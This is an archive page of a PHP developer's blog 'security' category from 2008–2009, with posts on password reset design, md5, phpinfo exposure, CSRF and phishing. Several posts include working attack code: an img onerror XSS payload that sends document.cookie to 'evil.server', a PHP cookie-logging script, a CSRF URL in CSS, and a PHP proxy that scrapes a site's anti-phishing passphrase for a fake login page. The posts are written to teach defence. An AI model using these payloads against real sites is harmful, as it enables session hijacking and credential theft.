My Blog

contains PHP and other web related content. (Sometimes there are some off topic things - don't freak out!)

Archive for the ‘security’ Category

Scanning for Unfiltered Content Automatically with PHP

Tuesday, September 15th, 2009

A friend of mine posed a question: Do you know of any good PHP based vulnerability scanners? I told him I did not (add any in the comments, if you know! :) ) – but it wouldn’t be that hard to build one. He asked me to give him a code example, so here goes:
(more…)

Another example of CSRF – in CSS

Thursday, March 5th, 2009

Just saw this really cool example get submitted on one of my websites testing for CSRF:

1
#logo{background:url(deletepost.process.php?id=12345&userID=12345);

Just another great example of why you should
1) not use GET for irreversible changes
2) filter filter filter! (I edited that posting, it was a filtered by my script already…)

My Progression through Forgot Passwords

Monday, March 2nd, 2009

I thought I’d take some time to look at the 3 main ways that I’ve handled forgotten passwords on my websites, why I did them that way, and if there was anything wrong.

Disclaimer: there is a lot of bad code in here – and thats on purpose! This is a historical piece… :)

The n00b Times: send the password back to them

The very first ‘forgot password’ attempt I made was a long time ago on a website about computer security. This was really quite funny because this was the least secure way to do it. Users would request their password, and I’d send them their password, in clear text, to their email. Not very secure! Side note: this means I had to be able to decrypt their passwords to send it back to them – and newbie me actually skipped that step – just a plain varchar of their password. OOPS.

The non-scalable times: hash the time away

The next step in my programming mutuation was at least more secure: send the hash through email and let them reset their password. This way, I never send their password through the email – and never actually stored it in a decrypt-able (is that a word?) state. Of course, I did it wrong again:

Um, don’t do this:

1
2
mysql_query("Insert into resets (userID, key) values($userID, '" . md5(time()) . "');
mail($to, 'Password reset', "Please click this link to reset your pass: http://website.com/resetpass.php?key=" . md5(time()));

You DO see all the problems, right?

The biggest one is that if two users were creating a forgot-password request at the same time, they both would get the same ID – and you could end up resetting someone else’s password and gaining access to their account.

Of course, the next issue was that it was pretty easy to guess a password reset key for someone if you saw when they did it.

Then, I didn’t store the key – so theoretically, the first line could be a different time than the url that was sent to the user – especially if there was a high sql load!

Better Hash – not based out of Amsterdam

The next thing I realized was that I had to make this hash a bit more unique, so I ended up adding the userID to the time as a prefix… (should also point out that one time I also went with generating a hash based off of their userID and then sending a timestamp as a separate parameter… its relatively the same thing as this example)

still not good enough!

1
2
3
4
$time = time();
$key = md5("{$userID}{$time}");
mysql_query("Insert into resets (userID, key) values($userID, '$key');
mail($to, 'Password reset', "Please click this link to reset your pass: http://website.com/resetpass.php?key=$key");

At least I fixed the key – um – sorta. However, if you knew the user id – you could at least make a better educated guess at this hash – especially if you knew the time was. Point being, it was a step up, but not my final resting place.

Break: Some of you might wonder why I didn’t just use a uniqid() and md5 that… well… yah… but we all make mistakes when we first start out right? ;) Just trying to help out any new programmers not to make the same mistakes

What are you doing now?

Ok – so for something thats pretty secure like that, I wanted to have a very long, extremely random string. I thought of sending mt_rand()’s next to each other and hexadecimalling them – or md5ing them. But I settled on something hopefully with even more of a chance not to be guessed: base64 encoding.

What?

Well, let me show you.

1
2
3
4
5
$forEncode = '';
for ($i=0; $i<300; $i++) {
	$forEncode .= chr(rand(1,255));
}
$key = strtr(base64_encode($forEncode), '+/=', '-_.');

Granted, I left out the mailing and mysql storage, but you get the idea. Real quick, a run-down:

First, start out wiht my blank string. I plan to generate 300 random characters – so I create that for loop. Then, I choose a random number between 1 and 255, corresponding to the ASCII table, and generate the chr() value of it. Then that is added to my string. I now have a string that has 300 characters of any character from 1 to 255 on the ascii chart. Finally, I base64 encode it – and then replace the items in it that are not good to have in an URL.

How do YOU do it?

Disable md5 now – or you will die

Thursday, February 19th, 2009

I remember a while ago hearing about a few theoretical collisions of the md5 algorithm, but I thought nothing of them. Now, as more information emerges, Microsoft is issuing advisories, and people are proving more and more collisions with example code, and even md5 is out of vista, I figure its time to remind everyone not to use md5.

What should I do?

First of all – lets use sha1 instead – equally as easy of a function to use – but much more secure.

1
echo sha1('test');

Output:

a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

Next, disable it in php using disable_functions in your php.ini

php.ini excerpt

disable_functions = md5

Finally, don’t accidentally use it in your db ;)

Password Complexity Class

Thursday, February 12th, 2009

After many times of coding relatively the same thing, it becomes prudent to have a standard library for certain sets of processes. Of course – that is why there are things like frameworks! At any rate, one of the biggest things I run into is password complexity. Each website has its own requirement for the security they want to implement. So, let’s talk about the requirements and then look at the code:
(more…)

How custom passphrases/pictures still don’t protect against phishing

Thursday, November 20th, 2008

As you probably remember, I have lots of interest in phishing techniques (I talked about one here, and preventing them here). I’ve noticed a new trend: a dual stage login form with a custom picture or passphrase. Users are to gain trust in the login page because their custom configured option is displayed. The more I started thinking about this, however, I kept seeing an issue – this still can be easily phished! I’m going to demonstrate a method of phishing the passphrase version. I don’t want to do a picture example because it a) takes more code and b) more people have moved to that thinking it is more secure. Lets go:


First off, all phishing starts with getting the user to a login page not at the respected domain. So, lets just skip that step, and examine our login page. This will be a duplicate of our real site’s login page – note the reminder that they will have to verify their passphrase.

login.php @ fakedomain.com

1
2
3
4
5
<form action="login2.php" method="post">
    <label>Username: <input name="username" /><br />
    <em>Remember, you will be asked to verify your passphrase on the next page.</em><br />
    <input type="submit" value="Login" />
</form>

Very simple login which sends it to another page – hopefully named the same as the real domain’s login page.

Lets look at the page we’ll be submitting to:

login2.php @ fakedomain.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    /** cutting out a lot of code - make sure its not empty, etc **/
    $args = array ('username'=>$_POST['username']);
    $uri = 'http://realdomain.com/login.do.php';
     $opts = array('http'=>array('method'=>'POST', 'header'=>'Content-Type: application/x-www-form-urlencoded', 'content'=>http_build_query($args)));
     $context = stream_context_create($opts);
    $page_with_phrase = file_get_contents($uri, false, $context);
 
    $doc = new DomDocument();
    $doc->loadHTML($page_with_phrase );
 
    $passphrase = $doc->getElementById('passphrase_node')->nodeValue;
 
    /** next login form page actually shows the $passphrase phrase and asks for password **/
    include('next_login_form.php');

Ok, first off, you’ll see we create a nice post with our stream context creation (detailed here) – so we basically send the username to the real domain as they had logged in. (Depending on the target site, you might also have to send referrers, cookies, etc – but we’re making it a really simple example here.)

We retrieve the page after a successful post of the username. This content should now contain the custom passphrase somewhere. For our example, there is a nicely named div or span with an id of ‘passphrase_node’. Probably, in real life, you’d have to use a complex xpath to get the actual value.

From then on, we just include our ’second’ login page which shows the passphrase, and then requests the password from the user. From there, you can do whatever you want.

Ok so…
Its nice to see that people are trying to eliminate phishing – but there still is only one real solution IMHO – and that is to educate users on the address bar (or get them to install a plugin that validates the page they’re on.).

Finally – PHP has NoIndex on phpinfo output

Wednesday, June 4th, 2008

Security Issue?

A big issue with PHP security had been the developers creating a php info page and not removing it from a production site. As you may know, phpinfo() will dump a ton of useful information (for the developer – as well as the cracker) to the screen:

1
phpinfo();

I can’t imagine how many versions of that are out on various servers…

Actually, let’s take a look with this google query

More than a million returns (granted they’re not all phpinfo() calls… but it gives you a good idea…)

There is Hope

With the release of 5.2.1 of PHP, phpinfo() now outputs the following meta tag:

1
<meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" />

This will slowly but surely stop compliant robots (see: google, yahoo… not crackerMcCrackenstein.com) from archiving these… yes!

JS Tool – Security Auditing in Javascript

Thursday, April 24th, 2008

JSTool was a trial run of combining many different scripts from the open source community into a security and auditing script. Features would include history viewing, website status reporting and port scanning. Very little original code – just combinations of existing code. Check the comments for proper author attribution. This script really isn’t in working condition for production distribution. Download it and learn from it.

JS Tool

PHP Shared Host – Session File Browser Script

Thursday, April 24th, 2008

PHP stores its session information into flat files unencrypted by default. In shared hosting situations, this can be a big security issue. This script allows easy access to the attributes of these files as well as decoding of the values stored in them. This script can also be used to audit the security of your current configuration. If other users’ session information is available, your information is not secure either!

Session Browser 0.1a

XSS with Img OnError attribute

Wednesday, March 19th, 2008

So much of my time is spent worrying over the src or href tags on images and links – that I sometimes forget about the other attributes.

Imagine being able to make an image which has no black-flagged content in the src but yet can still make a remote request, logging the user’s cookie information? Thats right – this can be done – using the ‘onerror’ attribute of an image.

What you need to do is to create an image link that is obviously broken or empty. Then, javascript handles such events by throwing an error for that element. Add an item to the onerror attribute to request a remote URL as your images src – which you add on document.cookie. The remote script logs all requests, and then displays an image.

Check out the code below:

Source page without proper filtering:

1
2
3
4
5
6
7
<html>
<body>
<h1>test</h1>
<h2>asdf</h2>
<img src="" onerror="this.src='http://evil.server/exploit.php?'+document.cookie" />
</body>
</html>

Then, on evil.server, place your image. Finally, top it off with the following code in exploit.php

1
2
3
4
5
6
7
8
<?php
$image_path = 'test.jpg';
header('Accept-Ranges: bytes');
header('Content-Length: ' . filesize($image_path));
header('Keep-Alive: timeout=15, max=2469');
echo file_get_contents($image_path);
file_put_contents("cookieLog.txt", $_SERVER['REQUEST_URI']);
?>

Easy as that. Just another reminder to properly filter your use submitted content.

  • twitter loader

Follow me on twitter: @aaronsaray

The views on this website are my own and do not reflect the opinions of my employer or clients.
Creative Commons License Home | Open Source | Book | Music | Art | Bio | Resume | Contact
My Baby